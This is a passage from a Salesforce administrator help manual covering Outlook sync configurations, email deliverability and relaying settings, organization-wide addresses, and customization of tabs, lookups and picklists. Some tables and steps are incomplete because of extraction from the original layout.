2. Under Tasks, enter one of these filters in the Greater or equal to field.
TODAYSyncs tasks that are due on or after today. The start time is 12:00 a.m.
LAST MONTHSyncs tasks that were due on or after the first day of last month.
LAST N DAYSSyncs tasks that were due on or after a specified number of days ago, such as LAST 30 DAYS.
3. You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user
based on the configuration's filters.
4. Save the data set.
1031
Note: Recurring tasks and items flagged for follow-up on your Outlook To-Do list don't sync.
See Also:
Sample Salesforce for Outlook Data Sets
Syncing Tasks with Salesforce for Outlook
Salesforce for Outlook Configurations Overview
Because Salesforce for Outlook users with the same role usually have similar data requirements, many administrators create
Outlook configurations based on the positions in their organization. Below are sample data sets for common Salesforce groups.
Your Outlook users have unique needs, but you can use these examples as a reference to help you get started with Outlook
configurations.
Sales Manager
Sales managers usually need to see records they own and the records of the users who report to them. In addition, they
need to see the latest contact information for anyone associated with large deals in the pipeline and any upcoming
meetings that might be related to these deals. They may also like to have their Chatter contacts in Outlook.
Sample Outlook Configuration for Sales Managers:
Contacts
Contacts: User's Records, User's Team's Records
Contacts on Opportunities: User's Team's Records
Contacts on Accounts: User's Team's Records
Contacts in Chatter: Records User is Following
Events
Events: User's Records
Date greater or equal TODAY
Tasks
Tasks: User's Records
Date greater or equal TODAY
Sales Engineer
Sales Engineers often only need the contacts owned by them and the other members of their sales teams. They may also
want their Chatter contacts, a record of the past month's meetings, and a schedule of all future meetings.
Sample Outlook Configuration for Sales Engineers:
Contacts
Contacts: User's Records
Contacts on Opportunities: User's Sales Teams' Records
Contacts in Chatter: Records User is Following
1032
Events
Events: User's Records
Date greater or equal LAST MONTH
Tasks
Tasks: User's Records
Date greater or equal LAST MONTH
Account Executive
Account executives need to see contacts related to their accounts and opportunities. The opportunities are filtered so
only contacts related to open opportunities with a probability over 40% sync. They'd also like to sync their Chatter
contacts, all future meetings, and all meetings from the last two months.
Sample Outlook Configuration for Account Executives:
Contacts
Contacts on Opportunities: User's Records
(Probability (%) greater than 40) AND (Stage not equal to Closed Won,Closed Lost
Contacts on Accounts: User's Records
Contacts in Chatter: Records User is Following
Events
Events: User's Records
Date greater or equal LAST 60 DAYS
Tasks
Tasks: User's Records
Date greater or equal LAST 60 DAYS
See Also:
Defining Data Sets for Salesforce for Outlook
Entering Contact Filters for Salesforce for Outlook
Entering Event Filters for Salesforce for Outlook
Entering Task Filters for Salesforce for Outlook
You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user
based on the configuration's filters. If the numbers are too high or low, you can adjust the filters and check the size again. The
maximum record count is 5000 per object.
1033
Email Administration
See Also:
Defining Data Sets for Salesforce for Outlook
EMAIL ADMINISTRATION
Configuring Deliverability Settings
Available in: All Editions except Database.com
Customize Application
To improve the deliverability of email you send from Salesforce, configure your organization's email deliverability settings.
Email deliverability is the likelihood of a companys or individuals email reaching its intended recipient. This likelihood is
adversely affected by:
Bounced email
Email that is addressed to an invalid recipient and returned to the sender. If a sender sends several email messages that
bounce, the email server might slow or block the delivery of all email from that sender.
Noncompliant email
Email that does not comply with a recipient's email security framework, such as the Sender Policy Framework (SPF),
which verifies that the From address in an email message is not forged.
Caution: If you plan to activate both bounce management and email relaying, check with your email administrator
to ensure that your organization's email server allows the relaying of email sent from salesforce.com; otherwise, the
email you send from Salesforce may not get delivered. For information on email relaying, see Setting Up Email Relaying
on page 1038.
To configure the email deliverability settings for your organization:
1. Click Your Name > Setup > Email Administration > Deliverability.
1034
Email Administration
2. Select the Activate bounce management checkbox to help ensure that the email addresses you have for your contacts,
leads, and person accounts are correct, and that the email your users send to those addresses is not impeded due to excessive
email bounces.
When bounce management is activated and a user sends an email to a contact, lead, or person account with an invalid
email address, Salesforce displays an alert next to that email address and prevents users from sending email to the address
until it is updated or confirmed. Also, the email bounces to Salesforce instead of the sender's personal email account.
Tip: Use the Bounced Contacts and Bounced Leads standard reports to view a list of email all addresses that have
bounced email. The report includes the reason the email was bounced, the date the bounce occurred, and the
contact, lead, or person account that bounced the email. See Reports Overview on page 2913 for more information.
3. Select the Show bounce alert next to all instances of the email address checkbox to configure
Salesforce to search all lead, contact, and person account records for instances of any email address that bounces an email
and to display a bounce alert next to each instance. If you do not select this option, Salesforce only displays the bounce
alert on the record from which the email was originally sent.
4. Select the Return bounced email to sender checkbox to configure Salesforce to send a copy of the bounced email
header to the sender. If you do not select this option, only Salesforce receives the bounced email header. In either case, for
security purposes Salesforce does not return the body of the bounced email to the sender. This option applies to all users
in your organization and cannot be enabled per user or per email.
5. Select the Enable compliance with standard email security mechanisms checkbox to automatically modify
the envelope From address of every email you send from Salesforce to comply with email security frameworks that your
recipients might implement, such as SPF.
Many recipient email systems enforce SPF to verify whether an email is legitimate. SPF checks the envelope From address
of an inbound email to verify legitimacy. If this feature is enabled, Salesforce changes the envelope From address to a
salesforce.com email address to verify the sender's legitimacy. The header From address remains set to the sender's email
address.
Note: For more information on SPF, see www.openspf.org.
6. Select the Enable Sender ID compliance checkbox to comply with the Sender ID framework. This will automatically
populate the Sender field in the envelope of every email you send from Salesforce with no-reply@salesforce.com.
This enables receiving mail servers using the Sender ID email authentication protocol to verify the sender of an email by
examining the Sender and From headers of an inbound email through a DNS lookup. All replies will still be delivered
to the sender's email address. If you do not select this checkbox, the Sender field is set to null and email delivery fails
when a recipient email system performs a Sender ID check.
Note:
We recommend enabling Sender ID compliance only if you have recipients using the Sender ID email
authentication protocol, which isnt widely used.
If you enable Sender ID compliance, the recipient's email client (not Salesforce) may append the phrase Sent
on behalf of to the From field of email received from Salesforce.
For more information on Sender ID, see www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx.
7. If you want Salesforce to send users a status email when their mass emails are complete, select Notify sender when
mass email completes.
8. To specify how Salesforce uses the Transport Layer Security (TLS) protocol for secure email communication for SMTP
sessions, choose one of the following:
1035
Email Administration
Preferred (default): If the remote server offers TLS, Salesforce upgrades the current SMTP session to use TLS. If
9. Click Save.
See Also:
Sending Email
Enabling Compliance BCC Emails
Setting Up Email Relaying
Testing Deliverability
Customize Application
If your organization evaluates all outbound email messages for compliance, you can enable compliance BCC emails to
automatically send a hidden copy of each outbound email message to an email address you specify. Enabling compliance BCC
emails prevents users from editing the BCC field on any email and disables their Automatic Bcc setting under My Email
Settings.
To enable compliance BCC emails for your organization:
1. Click Your Name > Setup > Email Administration > Compliance BCC Email.
2. Select the Enable checkbox.
1036
Email Administration
Testing Deliverability
See Also:
Configuring Deliverability Settings
Setting Up Email Relaying
Testing Deliverability
Testing Deliverability
Available in: All Editions except Database.com
Salesforce sends email from 52 different IP addresses. If your organization blocks any of these IP addresses, users might not
receive all email sent from Salesforce.
To verify your organization can receive email from every Salesforce IP address:
1. Click Your Name > Setup > Email Administration > Test Deliverability.
2. Enter your business email address.
3. Click Send. Salesforce simultaneously sends a test message from all 52 IP addresses to your business email address. Each
test message specifies the IP address from which it was sent.
4. Check your business email account to make sure it received all 52 test messages.
If you received less than 52 test messages, your organization's email administrator must whitelist the Salesforce IP ranges on
your organization's email server. Whitelisting an IP address allows the email server to receive email from an IP address that
might otherwise be blocked. The Salesforce IP ranges are:
96.43.144.64 to 96.43.144.65
96.43.148.64 to 96.43.148.65
182.50.78.64 to 182.50.78.79
204.14.232.64 to 204.14.232.79
204.14.234.64 to 204.14.234.79
Note: If your organization activates email relaying, your email administrator only needs to whitelist the IP addresses
Salesforce uses for email relaying (96.43.144.65, 96.43.148.65, 182.50.78.65, 204.14.232.65, and 204.14.234.65). For
information on email relaying, see Setting Up Email Relaying on page 1038.
1037
Email Administration
Salesforce.com maintains separate IP addresses for inbound and outbound email. The IP addresses used for outbound email
dont accept inbound email connections.
See Also:
Configuring Deliverability Settings
Enabling Compliance BCC Emails
Email relaying is using an email server to send email that did not originate on the email server. Companies set up email relaying
to:
Route all email through their own email servers to avoid the appearance of email spoofing by Salesforce. Email spoofing
is the forging of email headers to make messages appear as if they came from someone other than the original sender.
Store copies of all email as required by government regulations in various industries.
Apply existing content filters that scan messages for data and content that is not approved to be sent out through company
email.
Run outbound email through antivirus software before sending it to customers.
Append data such as company-wide disclaimers at the bottom of email messages.
You can set up email relaying for Salesforce-generated email by configuring Salesforce to automatically route email through
your company's Simple Mail Transfer Protocol (SMTP) server. Contact salesforce.com to enable email relaying for your
organization.
Caution: If you plan to activate both bounce management and email relaying, check with your email administrator
to ensure that your organization's email server allows the relaying of email sent from salesforce.com; otherwise, the
email you send from Salesforce may not get delivered. For more information on bounce management, see Configuring
Deliverability Settings on page 1034.
To set up email relaying:
1. Click Your Name > Setup > Email Administration > Email Relay Activation.
2. Configure the following settings:
1038
Email Administration
Setting
Description
Email Host
For example:
mail.acme.com
Port
TLS Setting
1039
Email Administration
Organization-Wide Addresses
Setting
Description
mail exchange to which Salesforce is connected. If any
of these criteria are not met, Salesforce terminates the
session without delivering the email.
Active
3. Click Save.
Salesforce recommends sending a test message each time you change the email relay configuration.
See Also:
Configuring Deliverability Settings
Enabling Compliance BCC Emails
Testing Deliverability
Organization-Wide Addresses
Available in: All Editions except Database.com
If your organization requires users to share a common email alias, you can define a list of organization-wide addresses for each
user profile. Organization-wide addresses define a common email address that a user profile can use. When sending email
from Salesforce, users with these profiles can choose a different From address than the email address they have defined. Replies
are delivered to the organization-wide address.
1040
Email Administration
Organization-Wide Addresses
For example, assume your organization has several users under a single Support Profile. A Support Profile can be associated
with an email address called support@acme.com and a Display Name of Acme Support. When Support Profile users
send an outbound email through Salesforce, they can choose to have their From address appear as support@acme.com
instead of their own Salesforce email address.
The highlighted sections in the following image represents the changes to the From address and Display Name that the
recipient of an email might see:
After an organization-wide address is verified, it is available as a From address when sending an email or an email alert.
To display the list of defined organization-wide addresses, click Your Name > Setup > Email Administration >
Organization-Wide Addresses. From this page you can:
Display Name is the word or phrase users who receive your email will see as the sender of the email.
Email Address is the email address that is used when sending an outbound email.
Allowed Profiles lists the profiles which use the email address as an alias.
Status shows the current stage of verification. When you add a new organization-wide address, it must be verified
as a valid email address before becoming available for use. If you have not received your verification email, click Resend
to have another one sent.
See Also:
User Profiles Overview
Managing Organization-Wide Email Footers
1041
Email Administration
To use an organization-wide address, send an email or set up an email alert, and choose your organization-wide address from
the drop-down list.
See Also:
User Profiles Overview
1042
Email Administration
If you use a company-provided or third-party email account, you can use Email to Salesforce to assign emails to leads, contacts,
opportunities, and other records in Salesforce. When composing, forwarding, or replying to email, simply enter your Email
to Salesforce address in the BCC field or any recipient field. Salesforce receives a copy of the email and, depending on your
configuration, adds it to either the Activity History related list of the matching records or to the My Unresolved Items page,
where you can manually assign it.
To enable Email to Salesforce for your organization:
1.
2.
3.
4.
Click Your Name > Setup > Email Administration > Email to Salesforce.
Click Edit.
Select the Active checkbox.
Optionally, select the Advanced Email Security Settings checkbox to configure Email to Salesforce to verify the
legitimacy of the sending server before processing a message. Email to Salesforce uses the following authentication protocols
to verify the sender's legitimacy:
SPF
SenderId
DomainKeys
If the sending server passes at least one of these protocols and does not fail any protocols, Email to Salesforce accepts the
email. If the server fails a protocol or does not support any of the protocols, Email to Salesforce ignores the email.
Tip: Before selecting the Advanced Email Security Settings checkbox, ensure that the senders you expect
to use Email to Salesforce support at least one of the authentication protocols listed above.
5. Click Save.
6. Optionally, click Send Notification Email to notify users that Email to Salesforce is activated, or click Skip This Step.
After enabling Email to Salesforce, Salesforce creates a unique Email to Salesforce address for each user. Users can click Your
Name > Setup > Email > My Email to Salesforce to view their unique Email to Salesforce address and customize their settings.
For more information, see Guidelines on Using Email to Salesforce on page 269.
See Also:
What are Email Services?
Using Gmail in Salesforce
Guidelines on Using Email to Salesforce
1043
Email Administration
You can find and delete attachments sent as links. Recipients who subsequently click on the attachment link see a message
asking them to contact the email sender to view the attachment. You can search only within your organization's email retention
period (typically 30 days, but contact salesforce.com Support for your organization's details).
To find and delete email attachments sent as links:
1. Click Your Name > Setup > Email Administration > Attachments Sent as Links
2. Enter either of these:
Attachment URL: Click the attachment link (.html) in the email to open it in a browser, and copy and paste the
URL.
3. Click Search.
4. In Search Results, click Del next to the attachment you want to delete. Recipients who subsequently click on the attachment
link see a message asking them to contact the email sender to view the attachment.
Note: You cannot recover deleted attachments from the Recycle Bin.
1044
Email Administration
You can create personalized footers or disclaimers that appear at the bottom of all outgoing email messages sent from Salesforce
or the API. You can create a separate email footer for each encoding and choose default footers for single and mass email.
The defaults are used when no footer matches an outgoing email's encoding.
Click Your Name > Setup > Email Administration > Email Footers.
Click New.
Enter a name.
Choose if you want the footer to be available for single emails, mass emails, or both.
Select the email encoding. The email encoding determines which emails the footer appears on. For each encoding you can
have one active single email footer and one active mass email footer.
6. Enter the text of the footer.
Note: Footers are text only; HTML tags aren't rendered. Maximum is 32 KB.
1045
1. Click Your Name > Setup > Email Administration > Email Footers.
2. Uncheck the Single and Mass checkboxes next to the footer.
3. Click Save.
Customize Application
On the Search Results page, in an object's related list, click Customize... > Filters for All Users.
To choose columns, use Add and Remove.
To reorder columns, use Up and Down.
Click Save.
See Also:
Search Results
Customizing Search Results Columns
Configuring Lookups
Available in: All Editions except Database.com
1046
Configuring Lookups
Creating lookup filters that limit the valid values and lookup dialog results for the relationship field
See Also:
Lookup Dialog Search
Customize Application
Enable enhanced lookups so users can use wildcards in their lookups and sort, filter, and page through their results.
1. Click Your Name > Setup > Customize > Search > Search Settings.
2. In the Lookup Settings area, select the objects for which you want to enable enhanced lookup functionality. Currently,
only account, contact, user, and custom object lookups can use this feature.
3. Click Save.
After enabling enhanced lookups, specify which fields users can use to filter lookup search dialog results. If you don't specify
any fields, your users can't use filters in enhanced lookup dialogs.
Note: If you enable enhanced lookups in your organization, it is also enabled for any Visualforce pages you create.
See Also:
Configuring Lookups
Customize Application
After enabling enhanced lookups, specify which fields users can use to filter lookup search dialog results. If you don't specify
any fields, your users can't use filters in enhanced lookup dialogs.
1047
Configuring Lookups
See Also:
Lookup Dialog Search
Configuring Lookups
Customize Application
With lookup auto-completion, users can select items from a dynamic list of matching, recently used records when editing a
lookup field. Lookup auto-completion is available on account, contact, user, and custom object lookups. To enable it:
1. Click Your Name > Setup > Customize > Search > Search Settings.
2. In the Search Settings area, select the object lookups for which you want to enable auto-completion. Currently, only
account, contact, user, and custom object lookups can use this feature.
3. Click Save.
See Also:
Configuring Lookups
1048
Manage Synonyms
Salesforce Knowledge synonyms are words or phrases that are treated as equivalent in article searches, letting you optimize
search results. When searching articles, users can enter search terms that don't match any terms in your articles, but are
synonymous with those terms.
For example, if you define a synonym group with these synonyms:
CRM, customer relationship management, Salesforce
then a search for customer relationship management matches articles containing customer relationship management,
as well as articles containing CRM or Salesforce.
When building synonym groups, work with knowledge managers and other subject matter experts in your organization to
create relevant synonyms.
To view and manage synonyms, click Your Name > Setup > Customize > Search > Knowledge Synonyms.
Description
Asterisk
Question mark
"
Quotation mark
Open parenthesis
Closed parenthesis
1049
Customize
Customization Overview
To filter a long list of groups, click Show Filters, then in the Synonyms field, enter part or all of a synonym, and click
Apply Filters.
To edit a synonym group, click Edit next to the synonym group, then update as needed.
To delete a synonym group, click Del next to the synonym group.
See Also:
How Salesforce Knowledge Synonyms Work in Searches
Searching for Articles
CUSTOMIZE
Customization Overview
The available customization options vary according to which Salesforce Edition you have.
Customize Application
You can customize each of the standard tabs and types of records, including adding custom fields and setting page layouts.
You can also customize search, tagging, and user interface options for your organization. In addition, every Contact Manager,
Group, Professional, Enterprise, and Unlimited Edition user can customize various personal display options.
To tailor Salesforce for your organization, you can customize the display of the various tabs and other items. Click Your Name
> Setup > Customize and then select a link to view the following customization options:
Tab Names and Labels
Rename the labels for standard Salesforce tabs and fields.
Home
Add a logo, dashboard, or links to the Home tab and create additional home page layouts for different users.
Activities
Customize various options for tasks and events such as fields, page layouts, record types, validation rules, search layouts,
and buttons. Also, enable or disable functionality like activity reminder popups and recurring events.
Campaigns
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also
configure Campaign Influence.
1050
Customize
Customization Overview
Campaign Member
(Located under Campaigns) Edit fields, create validation rules and triggers, control the layout, and create custom
buttons and links.
Leads
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
up lead queues, assignment rules, lead settings, and online lead capture.
Accounts
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up account
teams.
Person Accounts
(Located under Accounts) Control the layout of fields, related lists, and custom links, and manage record types.
Contacts
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations.
Opportunities
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up team
selling.
Opportunity Products
(Located under Opportunities) Customize the standard fields, create custom fields, and control the layout of fields
on product pages within the Opportunities tab.
Quotes
Customize the standard picklists, create custom fields and custom links, and control the layout of fields, related lists,
and custom links, and create PDF templates and terms and conditions.
Quote Line Items
(Located under Quotes) Customize the standard fields, create custom fields, and control the layout of fields on
quote line item pages.
Forecasts
Customize your fiscal year settings, forecast period, default view, and forecast hierarchy. These options are only available
if your organization has enabled customizable forecasting.
Cases
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
up case queues, case contact roles, assignment, auto-response, and escalation rules, and support settings.
1051
Customize
Customization Overview
Case Team
(Located under Cases) Define case teams and case team roles for your organization.
Email Messages
(Located under Cases) Create triggers for Email-to-Case or On-Demand Email-to-Case messages.
Case Comments
(Located under Cases) Create triggers for case comments.
Case Milestones
(Located under Cases) Create validation rules for case milestones.
Entitlement Management
Set up entitlement management so that support reps can verify if customers are eligible for support and provide the
correct service levels to your customers.
Entitlements
(Located under Entitlement Management) Customize the standard fields, create custom fields and custom links,
control the layout of fields, related lists, custom links, and create record types and templates.
Entitlement Contacts
(Located under Entitlements) Customize the standard fields.
Service Contracts
(Located under Entitlement Management) Customize the standard fields, create custom fields and custom links,
control the layout of fields, related lists, custom links, and create record types.
Contract Line Items
(Located under Service Contracts) Customize the standard fields, create custom fields and custom links, control
the layout of fields, related lists, custom links, and create record types.
Self-Service
Set up your public solutions, online case capture, and the Self-Service portal.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Call Center
Configure the Salesforce CRM Call Center by defining call centers, adding directory numbers, and customizing SoftPhone
layouts.
Service Cloud Console
Customize, extend, or integrate the footer, sidebars, highlights panels, and interaction logs of the Service Cloud console
using Visualforce.
1052
Customize
Customization Overview
Contracts
Customize the standard picklist, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
the contract expiration notices for your organization and configure auto-calculation of contract end dates.
Solutions
You can customize the standard solution picklists, create custom fields and custom links, control the layout of fields,
related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations.
Products
For Enterprise, Unlimited, and Developer Edition organizations, set up price books, products, and schedules.
Partners
Configure your partner portal.
Salesforce to Salesforce
Enable Salesforce to Salesforce business collaboration both within and across Salesforce organizations.
Connection Finder
(located under Salesforce to Salesforce) Enable the ability to email partners a survey asking if they use Salesforce.
Also, customize default template used for the email and logo used for the survey.
Customer Portal
Enable the Customer Portal for your organization.
Chatter Answers
Enable Chatter Answers and configure a Force.com site and Customer Portal to host Web communities for your
customers.
Ideas
Customize the standard picklists, create custom fields, and control the layout of fields for Enterprise, Unlimited, and
Developer Edition organizations. You can also establish comment validation rules and manage your communities.
Assets
Customize the standard fields, create custom fields, control the layout of fields on asset pages, set search results layouts,
and create custom links.
Territories
For Enterprise, Unlimited, and Developer Edition organizations, create and edit custom territory fields.
Users
Create custom fields and custom links for users.
Console
Create console layouts that display pertinent information to users.
Tags
Enable personal and public tags for your organization. You can also delete personal tags.
1053
Tab Settings
TAB SETTINGS
Renaming Tab and Field Labels
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Customize Application
OR
View Setup and Configuration
AND
Be designated as a translator
Customize Application
OR
View Setup and Configuration
AND
Be designated as a translator
You can change the display labels of tabs, objects, fields, and other related user interface labels so they better reflect your
organization's business requirements. When you rename a label, such as changing the Accounts label to Companies, the
new label appears on all user pages, in Connect for Outlook, and in Connect Offline. With rare exception, all pages in the
Setup area use the default, original labels.
Before renaming tabs, objects, fields, and other related labels, review the implementation tips for administrators.
1054
Customize
1. Click Your Name > Setup > Customize > Tab Names and Labels > Rename Tabs and Labels.
2. Select your default language from the Select Language drop-down list at the top of the page.
Note: In Hebrew, we recommend keeping tab renaming to a minimum because variable gender in verbs is not
supported and verbs can lose gender agreement.
3. Click Edit next to the tab you want to rename. Optionally, click Reset to change the name of your renamed tab to its
original name.
Note: You cannot reset custom object tab names.
4. Enter the singular and plural forms of the new tab label. Also, if applicable for the language, select the Starts with a
vowel sound checkbox for labels that start with a vowel. This ensures that the proper article (such as a or an) is used.
Then click Next.
A renamed tab or object cannot use the name of another standard tab, custom object, or custom tab.
5. Enter the standard field labels and other user interface labels to be used for the selected tab or object. Be sure to enter both
a singular and plural form for each label that requires it. Also, select the Starts with a vowel sound checkbox for
labels that start with a vowel.
If your organization uses person accounts, see Renaming Person Account Labels on page 1055.
Note: Some standard fields, such as Created By and Last Modified By, are purposely omitted from renaming
because they track system information.
6. Click Save.
7. Repeat this procedure to translate labels into all other languages used in your organization.
Tip: After renaming a tab or object, rename any custom reports, dashboards, profiles, permission sets, custom fields,
and list views that contain the original name. You can modify labels using the Translation Workbench. To rename a
standard report, click Save As and save it to a folder designed for your new name.
Other tab customization options include the following:
Individual users can control which tabs and related lists display for their own logins. For more information, see Customizing
Your Display on page 42.
In addition to the standard tabs provided by Salesforce, users can create entirely new custom tabs depending on their
Edition. For more information, see Defining Custom Tabs on page 1771.
In Enterprise, Unlimited, and Developer Edition organizations, you can override the tab home page that is displayed when
a user clicks a standard or custom object tab. For more information, see Overriding Standard Buttons and Tab Home
Pages on page 1260.
If your organization uses person accounts, you can rename the following standard field labels:
1055
Customize
Field
Tab
Description
Business Account
Accounts
Person Account
Accounts
Business Contact
Contacts
When you rename the Person Account field label, the renamed label appears in Salesforce as follows:
As a prefix to differentiate person account fields such as Birthdate and Home Phone from business account fields. For
example, Person Account: Birthdate is available as an account column in opportunity reports.
In the name of the Is Person Account field and icon. For example, if you rename the Person Account field to
Consumer, then Is Person Account becomes Is Consumer.
Note: The Person Account and Business Account field labels are completely independent from actual record
type names. To customize person account record types, click Your Name > Setup > Customize > Accounts > Person
Accounts > Record Types. To customize business account record types, click Your Name > Setup > Customize >
Accounts > Record Types.
See Also:
Replacing Salesforce Online Help
Customization Overview
What is a Person Account?
Customize Application
Customize Application
Renaming standard and custom Salesforce tabs, objects, fields, and other related user interface labels is a valuable feature that
has far-reaching implications for all your users. Before renaming anything for your organization, review the following
considerations to determine how it will affect your users:
Most standard tabs and objects can be renamed but not all. For example, the Forecasts tab is not available for renaming.
Click Your Name > Setup > Customize > Tab Names and Labels > Rename Tabs and Labels to view a list of the tabs
and objects you can rename.
1056
Fields
Customizing Fields
The renamed labels display on all user pages in Salesforce including Personal Setup. However, all pages in the Setup area
use the default, original labels.
Some standard fields, such as Created By and Last Modified By, are purposely omitted from renaming because they
track system information.
After renaming tabs, objects, or fields, check the following additional items that may need manual updates:
Review all list view names. List view names continue to display the original object name until you change them manually.
Check standard report names and descriptions for the objects you renamed.
Update the titles and descriptions of any email templates that contain the original object or field name.
Manually change any other items you customized with the standard object or field name. For example, custom fields,
page layouts, and record types may contain the original tab or field name.
Connect Offline, Connect for Lotus Notes, Connect for Outlook, and Salesforce for Outlook use your new names.
If you have renamed tabs, objects, or fields, you can also replace the Salesforce online help with another URL. Users can
view this URL whenever they click on any context-sensitive help link on an end-user page or within Personal Setup. After
you replace the help, the Help & Training link at the very top of every page and all Administration Setup pages will
continue to display Salesforce online help. For instructions on replacing the online help, see Replacing Salesforce Online
Help on page 1611.
In Hebrew, we recommend keeping tab renaming to a minimum because variable gender in verbs is not supported and
verbs can lose gender agreement.
See Also:
Renaming Tab and Field Labels
FIELDS
Customizing Fields
Available in: All Editions
Standard Fields and Page Layouts are not available in Database.com
Customize Application
1057
Customize
See Also:
Creating Custom Fields
Viewing Fields
Overview of Relationships
Creating a Many-to-Many Relationship
Customize Application
You can customize several aspects of standard fields, such as the values in picklists, the format for auto-number fields, tracking
field history, lookup filters on relationship fields, and field-level help.
In Enterprise, Unlimited, and Developer Editions, you can also view details about standard fields and set field-level security.
See Also:
Creating Custom Fields
Modifying Standard Auto-Number Fields
Viewing Fields
Field-Level Security Overview
Tracking Field History
1058
Customize
Picklist Considerations
Customize Application
The unique identifiers for solutions, cases, and contracts are standard auto-number fields. Each record is assigned a unique
number with a specified format upon creation. You can modify the format and numbering for these auto-number fields.
1. Click Your Name > Setup > Customize, select the appropriate tab link, and then click the Fields link.
2. Click Edit next to the name of the field in the Standard Fields list.
3. Enter a Display Format to control such formatting details as the minimum number of leading zeros as well as any prefix
or suffix for the number. See Custom Field Attributes on page 1081.
Format changes do not affect existing records; they are applied only to new records.
4. Enter the number to be assigned to the next record that is created after you save your changes.
5. Click Save.
Caution: Salesforce warns you if the next number you enter is not higher than existing numbers. However, it may be
possible to create duplicate numbers if you change the auto-number format multiple times using similar formats each
time.
See Also:
Custom Field Types
Picklist Considerations
Available in: All Editions
Customize Application
Customized selection lists, or picklists, let users pick values from a predefined list of entries. You can update the entries in
picklists; see Updating Picklists on page 1060.
To set up multiple lists of picklist values and make them available for different parts of your organization, see Managing Record
Types on page 1268.
1059
Customize
Picklist Considerations
Using picklists simplifies report filters; instead of manually entering matching values, users can select from a predefined list
of picklist values.
See Also:
Sorting Picklists
Replacing Picklist Values
Defining Dependent Picklists
Updating Picklists
Available in: All Editions
Standard Objects are not available in Database.com
Customize Application
Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
Knowledge Validation Status, and Opportunity Competitor picklists.
Tip:
Some special picklists, such as Task Priority, Stage, or Partner Role, have additional information that
you can edit.
If you use record types, changing the default value of the master picklist does not affect the default value of the
picklist for a record type.
For Salesforce CRM Ideas, setting the default value of the Categories or Status picklists does not affect the
default value on the Salesforce CRM Ideas pages.
If you change the label for a picklist value that is used as a filter criteria on a report, the picklist value is
automatically removed from the filter criteria. For example, if your report contains a filter where Lead Source
1060
Customize
Picklist Considerations
equals Email or Web and you change the picklist value Web to Referral, your report filter will change
to Lead Source equals Email. If the changed picklist value was the only value specified for a particular
filter, it will continue to show up in your report filters, but an error will display on the report wizard.
5. Click Save.
Note: If your organization uses the Translation Workbench, notify your translators that the translations may be out
of date whenever you change picklist values.
See Also:
Picklist Considerations
Picklists with Additional Information
Picklist Limitations
Additional Options for Updating Picklists
Click Edit next to a value to change the name, make it the default picklist value, assign a color to use on charts, or change
additional information.
Click Del next to a value to remove it from the picklist.
Special picklistssuch as opportunity Stage, Task Priority, Task Status, Lead Status, and Case Statusmay
prompt you to map the deleted value to another existing value in all of your organizations records. You can map the values
or leave your existing data unchanged.
Click New to add values to the picklist. If you use record types, select any record types that you want to include the new
values.
Click Reorder to change the sequence of picklist values.
Click Replace to change the values of picklist fields in existing records.
Click Printable View to open an easy-to-print list of your picklist values.
Click Chart Colors and select an option to assign colors to picklist values for use in charts:
Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart
Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example,
if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that
picklist value.
Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows
Assigned dynamically for all colors. Assign fixed colors by editing picklist values. For example, if you only need certain
picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest as Assigned
dynamically.
Manual assignments are overridden each time you click an option in Chart Colors.
1061
Customize
Picklist Considerations
Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
Knowledge Validation Status, and Opportunity Competitor picklists.
For organizations using record types, this picklist is a master picklist. You can include some or all of the values from the master
picklist in different record types to offer a subset of values to users based on their profile. For instructions on sharing master
picklist values across record types, see Managing Record Types on page 1268.
See Also:
Custom Field Attributes
Picklist Considerations
Updating Picklists
Description
1062
Customize
Picklist
Picklist Considerations
Description
If the deleted value is the default member status for a
campaign, the new replacement value becomes the default
status for that campaign.
1063
Customize
Picklist Considerations
Picklist
Description
1064
Customize
Picklist Considerations
Picklist
Description
To edit, click Your Name > Setup > Customize > Activities
> Task Fields, and select Edit next to the picklist value you
want to specify as the default.
See Also:
Picklist Considerations
Picklist Limitations
Picklist Limitations
Available in: All Editions
Standard Picklists are not available in Database.com
Customize Application
The maximum number of entries you can have in a picklist is determined by the total number of characters allowed in the
picklist, which is 15,000 characters. Note that each entry includes a linebreak and a return character that are not visible. These
two additional characters per entry are counted as part of the 15,000 character limit.
Additional limits apply to both standard and custom picklists.
Additional Limits for Standard Picklists
For standard picklists, entries can be up to 40 characters, not including linebreaks and returns. For standard multi-select
picklists, the total number of characters for all entries cannot exceed 255.
For standard picklists in organizations that use record types or the Translation Workbench, you can have an unlimited number
of entries with the following exceptions for special picklists.
Picklist Field
Lead Status
100
Task Status
100
Task Priority
50
Case Status
100
Case Priority
50
Opportunity Stage
100
1065
Customize
Up to 1,000 entries
Up to 255 characters per entry
Up to 150 values
Up to 40 characters per value
Note that for multi-select picklists, users can select up to 100 values at a time on a record.
See Also:
Picklist Considerations
Customize Application
For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
